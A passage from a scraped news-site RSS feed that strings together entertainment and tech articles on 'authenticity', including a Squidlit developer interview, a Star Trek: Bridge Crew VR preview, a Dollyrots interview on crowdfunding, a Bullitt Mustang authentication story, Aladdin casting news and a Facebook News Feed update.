If there was anything specific I had to point out, however, it’s the word limitation on how much each character could say before it felt overly tedious. It seems like some of the characters are saying a whole lot at certain points, but what they’re saying is very carefully condensed lore on what’s truly going on. That being said, Squidlit is a test run and prologue to our next title, Super Squidlit.

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How do you make your game feel fresh to modern players when working with a purposely-limiting older visual/audio style?

Samantha: In making a Game Boy recreation game, one thing we noticed was that a lot of platformer titles for the console didn’t really incorporate story too heavily. We decided that putting in an over-arching plot with hints as to motivations for both sides of the story would draw in more modern players with aspects of storytelling they are more familiar with. We also made sure to sprinkle in a hearty dose of Squidlit-y love and comedy in there to make things lighthearted and squishy!

Were there any rules of Game Boy development that you didn’t follow? Would this fit on an actual Game Boy cartridge?

Alex: To my knowledge, Squidlit doesn’t do anything that a Game Boy can’t. On that note, if anyone finds it doing something it’s not supposed to be able to, let us know and we’ll put out a patch! One could probably squeeze Squidlit onto a Game Boy cart from later in the console’s lifetime, and that was a deciding factor for the length of the game. We would probably have to pull some shenanigans to get some of the more fluid animations to play, much like Donkey Kong Land did. We capped the game at 30 FPS, even though the Game Boy can run at a full 60, to accommodate for some of the more complex things it does.

You can purchase Squidlit on Steam here. You can also check out the indieDB page and Twitter for more information!

]]> https://briefnews.eu/squidlit-developers-talk-about-creating-an-authentic-gameboy-recreation/feed/ 0 Do you have any tips for aspiring actors who have trouble making their performances seem authentic? How would you suggest getting into a mindset that allows for the actor to deliver a truly authentic performance? https://briefnews.eu/do-you-have-any-tips-for-aspiring-actors-who-have-trouble-making-their-performances-seem-authentic-how-would-you-suggest-getting-into-a-mindset-that-allows-for-the-actor-to-deliver-a-truly-authentic/ https://briefnews.eu/do-you-have-any-tips-for-aspiring-actors-who-have-trouble-making-their-performances-seem-authentic-how-would-you-suggest-getting-into-a-mindset-that-allows-for-the-actor-to-deliver-a-truly-authentic/#respond Sat, 10 Jun 2017 23:47:53 +0000 http://briefnews.eu/do-you-have-any-tips-for-aspiring-actors-who-have-trouble-making-their-performances-seem-authentic-how-would-you-suggest-getting-into-a-mindset-that-allows-for-the-actor-to-deliver-a-truly-authentic/ I honestly always tell people to travel the world and listen when people are talking to you. Cause realistically all you are doing if the role isnt too much of a stretch is saying lines in front of a machine

Entertainment Weekly

]]> https://briefnews.eu/do-you-have-any-tips-for-aspiring-actors-who-have-trouble-making-their-performances-seem-authentic-how-would-you-suggest-getting-into-a-mindset-that-allows-for-the-actor-to-deliver-a-truly-authentic/feed/ 0 Star Trek: Bridge Crew is great in VR because it feels authentic https://briefnews.eu/star-trek-bridge-crew-is-great-in-vr-because-it-feels-authentic/ https://briefnews.eu/star-trek-bridge-crew-is-great-in-vr-because-it-feels-authentic/#respond Mon, 10 Apr 2017 04:08:14 +0000 http://briefnews.eu/star-trek-bridge-crew-is-great-in-vr-because-it-feels-authentic/ Star Trek Bridge Crew E3 2016 06

Before setting out to work on a VR project it’s important to hone in and focus on something specific as a core mission. Do you want to create something that’s simple and fun? Do you want to make people think, or feel something? Or maybe your goal is to recreate something specific with an authentic representation.

That last point — authenticity — is the goal behind Star Trek: Bridge Crew from Ubisoft and Red Storm and from everything I’ve seen thus far, they’ve absolutely succeeded. In the two videos below you might notice a slight echo — that’s just from us recording both in-game voice chat and spoken voices from the room. The actual game doesn’t have any echo problems.

The first time I played Star Trek: Bridge Crew at E3 last year I was blown away (it was named our favorite multiplayer game at the show) and it continued to impress us when we tried again at Gamescom later last year. Last week at a visit to Ubisoft’s San Francisco office we got the chance to play it once again, but this time with three of the four chairs filled by the Upload team and we flew both the new Aegis and the original Starship Enterprise.

The great thing about Star Trek: Bridge Crew is that even though it’s an incredibly faithful adaptation of what it means to be on the bridge with your team, it doesn’t actually require any prior knowledge of the show. During the opening Starfleet Academy training I sat in the Tactical Officer’s chair, in charge of combat systems, defenses, and scanning operations, our editor-in-chief Tal Blevins was in the captain’s chair, and Upload’s video producer, Azad Balabanian steered the ship as the Helmsman. The fourth slot — Engineer – was filled by a member of the Red Storm development team.

My training covered all of the basics that any good Tactical Officer needs to know: how to arm and fire torpedoes, shooting phasers, activating shields, scanning ships, and other related tasks. The UI is much improved from the last time I saw the game with a more intuitive layout and clearly defined tasks for each area of the panel.

All of the crew on the Aegis has a large display in front of them that has various touchscreen sections. Our first mission was to visit a system and scan escape pods looking for signs of life then beam those survivors onto our ship. Just like the game itself it was simple in concept but became immediately more complicated and intense once things started rolling.

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In other cooperative games there are strictly defined systems in place that govern how and when players can interact and affect the game world. In the case of Star Trek: Bridge Crew though, it’s a much more flexible environment. When the Captain issues an order to open fire on the Klingons you don’t “lose points” for ignoring him, but may earn the disdain of your comrades when your ship explodes from losing a battle. Every member has to operate in unison to achieve victory and it’s insanely rewarding to successfully complete a mission together.

For example, in the heat of battle the Engineer may need to make sure the shields have power during a fight and the Tactical Officer has to make sure the shields are on to boost our defenses, as well as maintaining fire on enemy vessels. The Helmsman will maneuver the battlefield while the Captain keeps an eye on the objectives and keeps us on track. Even though there was no strict system in place that forced me to wait for my Captain’s orders I found myself inclined to wait and act only when instructed.

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While the main focus of Star Trek: Bridge Crew is the new Aegis ship, during our demonstration we also got the chance to go hands-on with the classic original U.S.S. Enterprise from the very first Star Trek show. The game’s campaign mode can only be played with the Aegis, but the randomized mission mode can be played using the newer ship or the Enterprise. For our second mission we fired up the original and took her for a spin.

At first you’d think changing ships wouldn’t result in a major difference in terms of actual gameplay, but it actually ended up feeling like a completely separate game for all intents and purposes. As the Tactical Officer my futuristic AR-esque panel was replaced by a slab with brightly colored buttons that looked more like pieces of candy than tools for deep space exploration. This is of course intentional as the Enterprise in Star Trek: Bridge Crew is designed to look exactly like it did in the original show — ’60s cheesiness and all.

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Using my Oculus Touch controllers I could press a button to display hovering text over each option to show potential choices, which is a necessity given how complex the new interface is. Instead of sliders and diagrams to arm and fire torpedoes I’ve got individual buttons. Instead of monitoring how long is left to arm and charge weapon systems I just mash them repeatedly until they do what I want. It felt like I was sitting in a cardboard spaceship as a little kid, pretending to be an astronaut. The screens on my right show exaggerated lines and colors, as if it’s a fantastical pretend version of the future.

As a crew, we fond ourselves communicating far more in the original Enterprise than we did in the Aegis and everything just felt more frantic, chaotic, and fun. Information was much more scattered and difficult to decipher with fewer displayed systems and screens. Between myself and the Helmsman, for example, was a single large shared radar panel that the Captain also used.

The difference between flying the new, streamlined Aegis and the clunky, obtuse Enterprise is like the difference between driving a smooth, electric automatic car and an old, stubborn manual transmission pickup truck. They’re both vehicles that are designed to do the same general thing but feel completely different with unique quirks once you get behind the wheel. The Aegis was much easier to learn quickly, but with a good crew of friends, I could see the Enterprise becoming a favorite for repeated voyages. It just feels more authentic.

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It might be sporting a simple premise, but Star Trek: Bridge Crew is an absolutely dense and complex game. Between the four different positions, single player and cooperative multiplayer, full campaign mode, and randomized voyages with two totally different ships and multiple mission types, the game has a lot to offer.

Star Trek: Bridge Crew is set to release on May 30th for Oculus Rift with Touch, HTC Vive, and PlayStation VR (PSVR) with full cross-platform multiplayer. If you’re itching to see more, check back at UploadVR because we’ll have a full gameplay video of our complete mission aboard the Starship Enterprise later this week.

This story originally appeared on Uploadvr.com. Copyright 2017

This post is part of the PC Gaming channel, presented by the Intel® Game Dev program.

VentureBeat

]]> https://briefnews.eu/star-trek-bridge-crew-is-great-in-vr-because-it-feels-authentic/feed/ 0 For the Dollyrots, crowdsourcing fans free them from labels, keep them authentic https://briefnews.eu/for-the-dollyrots-crowdsourcing-fans-free-them-from-labels-keep-them-authentic/ https://briefnews.eu/for-the-dollyrots-crowdsourcing-fans-free-them-from-labels-keep-them-authentic/#respond Sat, 25 Mar 2017 00:57:19 +0000 http://briefnews.eu/for-the-dollyrots-crowdsourcing-fans-free-them-from-labels-keep-them-authentic/

“People are smart enough to know if they really want to support us, they’ll come to a show, buy a shirt, or get a copy of the vinyl.”

Musicians with their eyes on the prize tend to have two dreams that they prefer not be mutually exclusive: 1) Make it big, and 2) Make music on their own terms. These days, however, many artists have been leaning more and more towards Option 2 because it affords them better control of their creative destiny — not to mention their bank accounts.

Take The Dollyrots, for example. The L.A.-based garage-punkers were signed to an indie label and scored a moderate hit with 2007’s self-empowerment anthem Because I’m Awesome, but they soon tired of label politics and decided to branch out on their own. Five-plus years into successfully crowdsourcing their subsequent studio and live albums, they haven’t looked back since.

The Dollyrots’ latest PledgeMusic-funded effort, Whiplash Splash, is officially available today on their own Arrested Youth Records label via multiple platforms, although pledgers had their copies in hand a full month ago. From the unabashed whirling-dervish energy of Babbling Idiot to the cheerful defiance of Just Because I’m Blonde — bassist/vocalist Kelly Ogden’s spritely ode to the oft-misunderstood Marilyn Monroe — to the acoustified ’80s nod of This Addiction, The Dollyrots continue to map their own sonic path one power-punk chord at a time.

“When we left our label at the end of 2011, we had seen some other bands we were friends with find success with Kickstarter and the crowdsourcing thing, so we thought, ‘You know what? We can do that too,’” Dollyrots guitarist Luis Cabezas told Digital Trends. “We’d already toured the country, been on many Vans Warped tours, and done the whole punk-rock thing to have built up enough of a following to ask our fans directly if they’d like to support us. And we don’t take their support for granted at all.”

Digital Trends called Cabezas in Los Angeles to discuss how The Dollyrots control their production narrative, the benefits of streaming, and the art of picking the right songs to cover. Just like their signature song says, it’s all because The Dollyrots are awesome.

Digital Trends: You must feel a certain level of satisfaction being able to run your own label thanks to crowdfunding, rather than be beholden to the old-school record-label machine.

Luis Cabezas: Our fanbase is made up of hardcore niche music fans. They’re not casual listeners who find our music by listening to it on the radio or seeing us on TV. They’re people we actually meet at shows! (laughs)

We feel like every single one of those interactions ends up counting because, since we never became a “huge” band, it means that every day, we’re still being discovered by new people. It’s amazing. Some of the messages we’ll get on our Facebook or Twitter are like, “Hey, I’ve been following you guys since 2004.” And every year, there’s more of them, so every single interaction counts.

We just felt like, “Cool — let’s just have our own little niche, and be upfront and honest about it. People will like it.” And that also means we never have to fake it.

And now you get to do things like have that direct ’80s nod to Foreigner’s Waiting for a Girl Like You in Jump Start This Heart. You didn’t hold back on acknowledging that at all.

A song like Jump Start might have gotten resistance from a label, you know? They would be like, “Take out that synth part. It sounds too ’80s.” Well, whatever. We’re like, “Let’s just do whatever we want to do!”

That kind of started with [2010’s] A Little Messed Up. We did all the demos for that one at home. That got us started on recording ourselves, and it just kind of progressed from there.

Our co-producer, John Fields, is amazing. He’s always there to help polish it up and make everything better. He just amplifies it, you know? But in terms of the songwriting, the song structures, the words, the tone, and the feel — that’s all stuff Kelly and I do on our own now. We have our own home studio, and we banged out this record in five weeks.

There’s no need to ever overthink it. Things are much better when you don’t overthink them. What’s the quote — that art is never finished until you abandon it? Is that a Bob Dylan quote, or…?

It does sound like a Bob-ism, but I’m not entirely sure. I’ll have to look that up. [It’s actually a Leonardo da Vinci quote: “Art is never finished, only abandoned.”]

That can apply to almost anything: Get it done quickly, and move on to the next thing. Chances are, your first instinct is your best one.

I talk to a lot of artists who agree with that “first thought, best thought” philosophy, and how you can play the feel right out of something if you do too many takes.

There’s something good about the initial thought and the first time something happens. I remember when we tracked Because I’m Awesome live. It was probably only the fourth time we ever played it — and that’s the version that ended up on the record.

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the dollyrots pledge allegiance to their crowdsourcing fanbase luis cabezas
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the dollyrots pledge allegiance to their crowdsourcing fanbase vocalist

For this record, we demo’ed everything at home, and when we were done, we figured we’d take it to Minneapolis and re-record all the guitars and bass with John Fields. But as it turned out, we couldn’t beat the scratch guitars. Even if you can beat them sonically, you can’t beat the feel. When I went back to try and re-record This Addiction, it sounded dead. It just wasn’t as good as the demo.

The ’80s acoustic jangle that opens that song is from the demo?

Yeah. All the guitars were recorded early on, and we just kept them. I felt it was just better that way, and not go back and try to make them perfect. (chuckles)

You do have to keep true to that punk aesthetic, to some degree.

It does have to be somewhat rough around the edges. That can even make it sound bigger sometimes. Everything doesn’t have to be super-quantized. That’s why those old Nirvana records still sound huge.

Right — when you hear that crunch kick in at the outset of Smells Like Teen Spirit, that’s just raw power and the combination of the band and producer Butch Vig working together to get that bigger sound for them.

Yeah, yeah, totally. I got my hands on some multitracks of some Nirvana riffs that were ripped from Rock Band. It was Very Ape [from 1993’s In Utero], which sounds so loosey-goosey on its own, but when it’s all put together, it sounds so huge. It’s amazing. I love all that stuff — who doesn’t?

I still do. What’s the best way to listen to Dollyrots music — vinyl or digital?

It depends on your environment. If you’re out in the car, on a train, or outside with a lot of ambient noise around you, it’s good to have those digital tracks because they’re super-loud and made for passive listening.

But if you’re actively listening at home on a good set of speakers and really want it to shine, vinyl is the best for that. Vinyl has the dynamics and the warmth, and it doesn’t have to hit your eardrums as hard. Both ways have their purposes.

A lot of people are likely to stream Whiplash Splash. How do you feel about that as both an artist and as the album’s co-producer?

Our philosophy is, we are grateful for every listen. Maybe there are people out there who are potentially going to discover it that way. Like I said before, we’ve never been a huge band, and we always feel like we’re still growing.

When we see a Torrent show on the Internet, it doesn’t really bug us. One, we can control it. Two, I feel like, if somebody truly values us, they’ll find some way to show us some kind of support, you know? In the end, we have all we need. If we need something, we have enough support through our fans that we can do it. We don’t need to “extort” anybody! (laughs)

Streaming is alright. I think it’s cool. People are smart enough to know that if they really want to support us, they’ll come to a show, buy a shirt, or get a copy of the vinyl.

People will vote with their dollars when and where they can. When I’m streaming, I make sure I pay the premium so the artists get something out of it.

And believe me, independent artists like us appreciate that. Truly, I wish the streaming services would pay us more, but I can’t even imagine how little we’d see if we were on a label.

I really love the personalized touches you and Kelly do with all your PledgeMusic goodies.

Ahh, thanks! We want to be able to keep doing this, and we realize that it’s because of the fans that we can. Especially with these Pledge things, we think to ourselves, “OK, what would I want my favorite band ever to do for me? What would make me super-excited to get from them?” Do people want vials of locks of hair? (both laugh) Do they want handwritten lyrics of their favorite song?

Like, if Joey Ramone were here to have written out the lyrics to one of his songs for me, that would have just blown my mind. Or, if he were still around, I would have asked Kurt Cobain to have signed my [Fender] Jag-Stang guitar. I’ve had it since about ’98, and it is so beat up. But that is the sound of every Dollyrots record. I can’t even take that guitar on tour anymore because I’m afraid it’s going to break in half.

I have to say how much I love your Walking on Sunshine cover [of the perpetually sunny Katrina & The Waves hit single from 1985]. I always love how you put your own spin on covers like that. I also like how you’ll just send out free downloads whenever you cover something new.

Sometimes it’s cool to just cover a song, because it teaches me something about songwriting. When you go through a song like that, you’ll discover something new, like, “Wow, I didn’t realize they did it that way — and now I can do that!”

That makes me think of R.E.M., who were masters at writing bridges in their songs. Peter Buck once told me it was something they’d labor over because of how important they felt it was, and yet their bridges come across so effortlessly.

That’s something you may not realize if you’re passively listening — and there is a beauty to passive listening, don’t get me wrong — but that’s why we’ll do Stageit, so that we can learn other people’s songs and debut our versions of them that way.

I feel like it’s a great way for how to learn your craft better. When we did The Beatles Stageit, that was the craziest. We thought doing songs from Meet The Beatles would be easy — all we’d have to do would be to learn three or four chords. But when we went to do it, we found it wasn’t easy at all!

The Beatles always make it sound so easy, but when you break those songs down, you find there’s a lot of structure and craft there.

The more we’ve gotten into recording and producing our own material, the more I respect all that. I’ve also come to respect drums even more. Good drumming is more important than good vocals and good guitars, sadly.

At least you’re a big enough man to admit that. (Cabezas laughs) But if you don’t have a good bass-drum bed track to support them, a lot of songs are just going to fall apart.

Yep. You’ve got to play to the song’s strengths.

Digital Trends

]]> https://briefnews.eu/for-the-dollyrots-crowdsourcing-fans-free-them-from-labels-keep-them-authentic/feed/ 0 That Bullitt Mustang found in Mexico is authentic, says vintage Ford expert Kevin Marti https://briefnews.eu/that-bullitt-mustang-found-in-mexico-is-authentic-says-vintage-ford-expert-kevin-marti/ https://briefnews.eu/that-bullitt-mustang-found-in-mexico-is-authentic-says-vintage-ford-expert-kevin-marti/#respond Mon, 13 Mar 2017 16:20:21 +0000 http://briefnews.eu/that-bullitt-mustang-found-in-mexico-is-authentic-says-vintage-ford-expert-kevin-marti/

Update: Fox News reports that Kevin Marti, the famed and respected expert on the authenticity of vintage Fords, has examined the car and is “100 percent sure it’s authentic”. Read the Fox News article for more details and the evidence that Marti examined to make the determination.

Hope you have your skeptical setting turned up to maximum for this little nugget – ours certainly is. A Vintage-Mustang.com forum user in Mexico claims a local shop has the “lost” second BullittMustang (not pictured above – that’s a replica of the first car loaned to the Petersen Museum), and it’s coming back to the US for a full restoration. It was about to be cut up and turned into an Eleanor clone, the story goes.

The evidence provided is a couple of VIN stampings, some damage loosely consistent with how it would have been used in the film, and what look to be reinforcements welded in around the front shock towers. Things get a little goofy when you realize that reports about the fate of this car, VIN 8R02S125558, are mixed. The gist is that it was probably sent to a junkyard and scrapped after filming, having been heavily damaged. VIN stampings can be faked, and metal can be altered – crash damage can even be intentionally added.

The bottom line is that there’s not enough evidence provided in the forum thread to tell whether this is a forgery or, however improbably, the real thing. In fact, it’s doubtful anyone could make that determination simply based on peering at badly framed photos on an internet forum. The only way to be sure is to bring the car to an expert for an in-person inspection, while exhaustively researching the fate of the other car that was used by Solar Productions (the studio that produced the Steve McQueen movie).

That being said, we’ll keep an eye on this story. It’s exceedingly improbable that this is a real Bullitt car, but perhaps it does make it to the US, get authenticated by an unimpeachable authority, and get the restoration it probably deserves. In that case, we can all chuckle at the healthy skepticism expressed in this piece. Until then, don’t believe everything you read – but you’re welcome to hope that it’s true.

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]]> https://briefnews.eu/that-bullitt-mustang-found-in-mexico-is-authentic-says-vintage-ford-expert-kevin-marti/feed/ 0 Aladdin live-action remake: White actors will NOT take lead roles in ‘authentic’ cast https://briefnews.eu/aladdin-live-action-remake-white-actors-will-not-take-lead-roles-in-authentic-cast/ https://briefnews.eu/aladdin-live-action-remake-white-actors-will-not-take-lead-roles-in-authentic-cast/#respond Thu, 09 Feb 2017 13:40:04 +0000 http://briefnews.eu/aladdin-live-action-remake-white-actors-will-not-take-lead-roles-in-authentic-cast/

Several movies set in Eastern countries have come under fire in recent years over the appearances of white actors in the lead roles.

Prince of Persia – which starred the non-Persian Jake Gyllenhaal and Gemma Arterton – was one notable example.

Lego Batman Movie producer Dan Lin, who is Taiwanese, has told Collider that he has no plans to make the same mistakes.

“Look at me. I mean, I’m not a typical guy,” he said.

“Listen, I’m very fortunate working in Hollywood; I am diverse. So when I came in to make the movie, I wanted to make a diverse version of the movie.

“Luckily for me Guy Ritchie has the same vision and Disney has the same vision, so we’re not here to make Prince of Persia. We want to make a movie that’s authentic to that world.”

It seems it’ll be newcomers who get first refusal on the big roles.

“We’re gonna be discovering new people because it’s a real challenge – because not only does an actor have to act, but they really have to have singing chops,” Lin added.

Disney’s live-action efforts have fared reasonably well so far, with The Jungle Book, Pete’s Dragon and Cinderella being recent examples.

Beauty and the Beast is next: it’s out over here on March 17.

Lego Batman Movie, meanwhile, is in cinemas tomorrow.

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]]> https://briefnews.eu/aladdin-live-action-remake-white-actors-will-not-take-lead-roles-in-authentic-cast/feed/ 0 Facebook to rank content it deems “authentic” higher on the News Feed https://briefnews.eu/facebook-to-rank-content-it-deems-authentic-higher-on-the-news-feed/ https://briefnews.eu/facebook-to-rank-content-it-deems-authentic-higher-on-the-news-feed/#respond Wed, 01 Feb 2017 06:35:44 +0000 http://briefnews.eu/facebook-to-rank-content-it-deems-authentic-higher-on-the-news-feed/ Facebook is updating its News Feed algorithm in an effort to rid its site of spam and click-bait.

The social network’s content clean-up process began in earnest in 2014 but was renewed in August of last year when it developed its own take on a click-bait targeting system akin to an email spam filter. The move pre-empted the company’s broader strategy to tackle fake news, kicked off in late 2016.

On Tuesday, Facebook announced it is adding signals to its News Feed algorithm to identify “authentic” posts from people and pages. The implementation process saw Facebook categorize Pages it identified as posting spam or trying to directly ask users for likes, comments and shares in order to boost content. The company used this data to train a model that continuously detects whether posts from other Pages are likely to be authentic. Facebook claims one indication that a publisher may be posting misleading items is if people keep hiding its posts.

More: Virtual phone number app Burner teams with Nomorobo to block spam calls

“We anticipate that most Pages won’t see any significant changes to their distribution in News Feed,” writes Facebook in its blog post. “Some Pages might see a small increase in referral traffic or outbound clicks, and some Pages might see minor decreases. Pages should continue to post stories that are relevant to their audiences.”

As a result of the changes, “authentic” content could rank higher in your feed. The social network already ranks items in regards to whether they are “newsworthy” and of interest to users based on personal activity (such as likes, reactions, comments, and shares).

Facebook is also adding real-time signals to its ranking system to help it to spot relevant trends. Now, if a topic or post from a Page is gaining a lot of engagement from users in your network, the News Feed will be able to understand that in real-time and temporarily prioritize it. This could result in major breaking news and events posts being shown higher up in the News Feed due to the amount of chatter relating to them. The change builds on Facebook’s recent updates to its Trending feed, which saw it move away from individual posts to focus on improved topic identification.

Digital Trends

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